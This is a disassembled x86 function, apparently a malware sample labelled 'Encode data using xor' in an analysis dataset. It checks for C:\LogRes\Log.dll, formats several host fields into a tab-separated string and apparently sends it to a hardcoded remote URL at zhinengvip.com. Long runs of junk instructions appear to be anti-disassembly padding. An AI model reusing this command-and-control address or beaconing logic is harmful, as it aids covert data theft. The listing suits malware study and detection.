Function at 0x411770
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5defbd
mov eax, dword fs:[0]
push eax
mov eax, 0x1d7c
call fcn.0046cf20
mov eax, dword [0x676314]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1d7c], ecx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1d80], eax
call fcn.0047337c
test al, al
je 0x4117d4
nop
pop ds
out dx, eax
jae 0x41181e
inc esi
push ss
cmovo eax, edx
fdiv qword [ebx]
xchg edx, eax
scasd eax, dword es:[edi]
and byte [esi], al
and dword [ebx + 0x5b730e58], esp
aad 0xde
pop ebp
add eax, 0x61d86e8
add byte [eax + eax*8 + 0x6ac21674], al
pushfd
xchg esi, eax
add dl, byte [esi - 0x7c]
nop
pop edx
xor ebp, dword [ebp - 0x23]
jecxz 0x4117d0
call fcn.0047355f
test al, al
je 0x4117f3
ret 0x9c6a
mov cl, 0x3f
and ch, ah
xchg edx, eax
invalid
call fcn.004734d5
test al, al
je 0x411814
xchg edi, eax
push ebp
retf
call fcn.00473925
test al, al
je 0x411837
inc ecx
cmp byte [edi - 0x532a58bd], dl
invalid
push 0x11
xor eax, eax
mov dword [ebp - 0x1d30], 7
push str.C:LogResLog.dll
lea ecx, [ebp - 0x1d44]
mov dword [ebp - 0x1d34], 0
mov word [ebp - 0x1d44], ax
call fcn.00402650
cmp dword [ebp - 0x1d30], 8
lea eax, [ebp - 0x1d44]
mov dword [ebp - 4], 0
test dword [edx + 0x45c7ffff], edi
cld
add byte [eax], al
add byte [eax], al
cmovae eax, dword [ebp - 0x1d44]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
movzx ecx, byte [ebp + 0xc]
xor edx, edx
test eax, eax
cmovne ecx, edx
mov dword [ebp - 0x1d84], ecx
call fcn.00473337
test al, al
je 0x4118bf
push cs
or byte [ebp - 0x1458e873], cl
outsd dx, dword [esi]
pop esp
test byte [ecx + edi*4], ch
je 0x41187a
stosb byte es:[edi], al
xlatb
or bh, bl
sub al, 0xf3
repne movsb byte es:[edi], byte [esi]
fnstsw word [esi]
mov es, esi
push esp
pop ebp
call fcn.00473673
test al, al
je 0x4118e1
xor ah, byte [0x8b4823a3]
dec ebp
add al, 0x6a
push esp
sbb edx, dword [edx + 0x7eec4214]
inc eax
inc esi
lea edx, [edx - 0x5a]
cmpsb byte [esi], byte es:[edi]
xchg edx, eax
outsb dx, byte [esi]
pop eax
call fcn.00473490
test al, al
je 0x411902
jo 0x41186e
and bl, ch
enter 0xfffffffffffffb0f, 0x5c
invalid
cmp byte [ebp - 0x1d84], 0
je 0x41193b
push 0x270f
push 0
xor bl, bl
call fcn.0047483e
add esp, 8
movzx ebx, bl
cmp eax, 0x64
mov ecx, 1
cmovle ebx, ecx
call fcn.00474c9c
test eax, eax
jne 0x41193b
test bl, bl
je 0x411f42
mov edx, dword [ebp - 0x1d80]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
cmp byte [edx], 0
jne 0x411965
xor ecx, ecx
jmp 0x411979
mov ecx, edx
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411970
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1d14]
call fcn.00406060
lea eax, [ebp - 0x1d14]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x1d2c]
push eax
call fcn.00457dcb
add esp, 8
mov eax, dword [ebp - 0x1d00]
mov byte [ebp - 4], 3
cmp eax, 0x10
jb 0x4119c2
inc eax
lea ecx, [ebp - 0x1d14]
push eax
push dword [ebp - 0x1d14]
call fcn.00405840
cmp dword [ebp - 0x1d18], 8
lea ecx, [ebp - 0x114]
lea eax, [ebp - 0x1d2c]
mov dword [ebp - 0x1d00], 0xf
cmovae eax, dword [ebp - 0x1d2c]
push ecx
push eax
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
call fcn.00457f61
add esp, 8
call fcn.0047344b
test al, al
je 0x411a1a
pop esi
xor dword [edi], esp
jmp 0x411a4b
push 0x1000
lea eax, [ebp - 0x1ccc]
push 0
push eax
call fcn.004830b0
add esp, 0xc
call fcn.00473925
test al, al
je 0x411a54
mov dl, al
mov edx, 0xbfd78d28
retf 0x68c8
xchg esi, eax
push edx
salc
cmpsb byte [esi], byte es:[edi]
inc ebx
mov bh, 0x36
and eax, 0x1899e841
push es
add byte [eax + eax*8 + 0x25291874], al
invalid
call fcn.004732f2
test al, al
je 0x411a75
sub dword [0x820b2cfe], esp
arpl cx, cx
push es
invalid
call fcn.004739af
test al, al
je 0x411a92
insb byte es:[edi], dx
push ss
jno 0x411a7a
pop esi
in al, dx
jne 0x411aea
mov dword [eax - 0x4d], esi
out 0x7f, al
push eax
fidivr word [ebx + 0x71]
leave
inc eax
dec byte [ebx - 0x1d7b7b]
inc dword [ebx + 0xb4b8]
add byte [eax], dl
mov eax, dword [ebp - 0x1d7c]
cmp dword [eax + 0xb4], 0x10
lea ecx, [eax + 0xa0]
jb 0x411aa9
mov ecx, dword [ecx]
cmp dword [eax + 0x54], 0x10
lea edx, [eax + 0x40]
jb 0x411ab4
mov edx, dword [edx]
cmp dword [eax + 0x9c], 0x10
lea esi, [eax + 0x88]
jb 0x411ac5
mov esi, dword [esi]
cmp dword [eax + 0x84], 0x10
lea edi, [eax + 0x70]
jb 0x411ad3
mov edi, dword [edi]
add eax, 0x28
cmp dword [eax + 0x14], 0x10
jb 0x411ade
mov eax, dword [eax]
push ecx
push dword [ebp + 0x14]
lea ecx, [ebp - 0x114]
push ecx
push edx
push esi
push edi
push eax
lea eax, [ebp - 0x1ccc]
push str._s_t_s_t_s_t_s_t_s_t_d_t_s
push eax
call fcn.00408a60
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.004830b0
add esp, 0x30
mov dword [ebp - 0x1d88], 0xbb8
cmp byte [ebp - 0x1ccc], 0
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
jne 0x411b46
xor ecx, ecx
jmp 0x411b59
lea ecx, [ebp - 0x1ccc]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411b50
sub ecx, edx
push ecx
lea eax, [ebp - 0x1ccc]
push eax
lea ecx, [ebp - 0x1cfc]
call fcn.00406060
cmp dword [ebp - 0x1ce8], 0x10
lea ecx, [ebp - 0x1d88]
push ecx
lea ecx, [ebp - 0xccc]
mov byte [ebp - 4], 4
push ecx
push dword [ebp - 0x1cec]
lea eax, [ebp - 0x1cfc]
cmovae eax, dword [ebp - 0x1cfc]
push eax
call fcn.00476a1b
add esp, 0x10
call fcn.00473856
test al, al
je 0x411bc9
loopne 0x411bfe
jg 0x411c13
loop 0x411c13
adc ebp, 0x1c
sar byte [edi], cl
cwde
int 0xe6
mov al, 9
mov byte [0x9a1a2e53], dh
cli
outsd dx, dword [esi]
adc al, 0xaa
rcr bh, 0xf5
imul edi, dword [edx - 0x18], 0x69
pop ss
push es
add byte [eax + eax*8 + 0x7b311c74], al
mov ecx, 0xbbef1112
jmp 0x876b7012
call fcn.00473337
test al, al
je 0x411bee
xor dword [ebx - 0x47], edi
adc dl, byte [ecx]
out dx, eax
mov ebx, 0x2a5434e9
xchg esp, edx
fisttp qword [eax + 0x5bf3f249]
jp 0x411c1f
das
test byte [ebp - 0x4e], 0xc0
sub ebx, ecx
call fcn.004733c1
test al, al
je 0x411c0d
mov ah, 0x87
dec edi
adc dword [ecx + ebx + 0xb], ecx
in eax, dx
mov dword [0xae766599], eax
test byte [esi - 0xc], dh
sub ecx, dword [edi - 0x2f]
in al, dx
invalid
lea ecx, [ebp - 0x1d75]
call fcn.00443160
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x1d75]
call fcn.00477270
call fcn.0047337c
test al, al
je 0x411c4e
inc ebp
cld
add eax, 0x8b8d8d50
loop 0x411c27
invalid
invalid
salc
xchg ecx, eax
idiv bl
mov ds, edx
fldcw word [ebp - 0x4d]
movsd dword es:[edi], dword [esi]
xchg byte [ebx], bl
adc cl, ch
ror bl, 0x1e
mov bl, 0x70
mov ebp, 0x6a93be5d
push ecx
push 0x51
push str.https:__mjqxm.zhinengvip.com__273ec9128278bb819a9a82f3585ece43b0461c6418a233d1
lea ecx, [ebp - 0x1ce4]
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
call fcn.00406060
cmp byte [ebp - 0xccc], 0
mov byte [ebp - 4], 6
jne 0x411c8c
xor ecx, ecx
jmp 0x411c9e
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411c95
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1ce4]
call fcn.00405e00
call fcn.00473925
test al, al
je 0x411cd3
movsb byte es:[edi], byte [esi]
push esi
jmp 0x411d35
call fcn.004736fd
test al, al
je 0x411cf5
mov eax, eax
aas
mov word ds:[edi + 0xd82b388], fs
push ss
adc al, 0x45
invalid
cmp byte [ebp + 8], 0
jne 0x411d80
xor eax, eax
mov dword [ebp - 0x1d60], 7
mov dword [ebp - 0x1d64], 0
mov word [ebp - 0x1d74], ax
mov dword [ebp - 0x1d48], 0xf
mov dword [ebp - 0x1d4c], eax
mov byte [ebp - 0x1d5c], al
push 4
push 0x5e980c
lea ecx, [ebp - 0x1d74]
mov byte [ebp - 4], 7
or al, 0x98
pop esi
add byte [ebp - 0x1d7373], cl
inc esi
inc ebp
cld
pop es
call fcn.00402650
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x1ce4]
push eax
lea ecx, [ebp - 0x1d5c]
call fcn.00405f30
mov ecx, dword [ebp - 0x1d7c]
lea eax, [ebp - 0x1d74]
push eax
call fcn.0040d5b0
lea ecx, [ebp - 0x1d74]
call fcn.0040d540
jmp 0x411e8a
call fcn.004732ad
test al, al
je 0x411da2
xor eax, 0x6483e473
into
push ds
dec esp
push esp
ja 0x411da4
out 0xc7, al
add eax, ebp
or al, 0x26
mov bl, 0x78
adc esp, ebx
invalid
call fcn.00473742
test al, al
je 0x411dc2
sbb dword [esi], eax
add byte [eax + eax*8 - 0x4cf6e88c], al
invalid
or dword [ebx + 0x5a7ce2c7], esi
push eax
dec esi
retf
call fcn.004732ad
test al, al
je 0x411de2
xlatb
mov al, 0xae
dec esi
xor dword [eax + 0x37], ebp
invalid
mov al, byte [0x5b3cc93a]
push esp
sal dword [eax - 0x1ccf427d], 0xff
call dword [eax]
cmp dword [ebp - 0x1cd0], 0x10
lea eax, [ebp - 0x1ce4]
mov ecx, dword [ebp - 0x1d7c]
cmovae eax, dword [ebp - 0x1ce4]
push eax
call fcn.00410de0
mov dword [ebp - 0x1d80], eax
call fcn.0047362e
test al, al
je 0x411e31
and dl, 0xff
invalid
jnp 0x411e76
lcall 0x6d27, 0x13ae8986
ja 0x411e04
cmp ebx, 0xf0000c63
mov cl, 0xe8
pop ecx
invalid
call fcn.0047351a
test al, al
je 0x411e51
cmpsd dword [esi], dword es:[edi]
jne 0x411dda
iretd
call fcn.004733c1
test al, al
je 0x411e71
inc esp
invalid
cmp dword [ebp - 0x1d80], 0
inc dword [eax]
jne 0x411e8a
mov ecx, dword [ebp - 0x1d7c]
push 0x5e980c
call fcn.0040d760
mov eax, dword [ebp - 0x1cd0]
cmp eax, 0x10
jb 0x411ea8
inc eax
lea ecx, [ebp - 0x1ce4]
push eax
push dword [ebp - 0x1ce4]
call fcn.00405840
lea ecx, [ebp - 0x1d75]
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
call fcn.004773a0
mov eax, dword [ebp - 0x1ce8]
cmp eax, 0x10
jb 0x411eec
inc eax
lea ecx, [ebp - 0x1cfc]
push eax
push dword [ebp - 0x1cfc]
call fcn.00405840
mov eax, dword [ebp - 0x1d18]
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
cmp eax, 8
jb 0x411f25
inc eax
lea ecx, [ebp - 0x1d2c]
push eax
push dword [ebp - 0x1d2c]
call fcn.00402750
xor eax, eax
mov dword [ebp - 0x1d18], 7
mov dword [ebp - 0x1d1c], 0
mov word [ebp - 0x1d2c], ax
mov eax, dword [ebp - 0x1d30]
cmp eax, 8
jb 0x411f60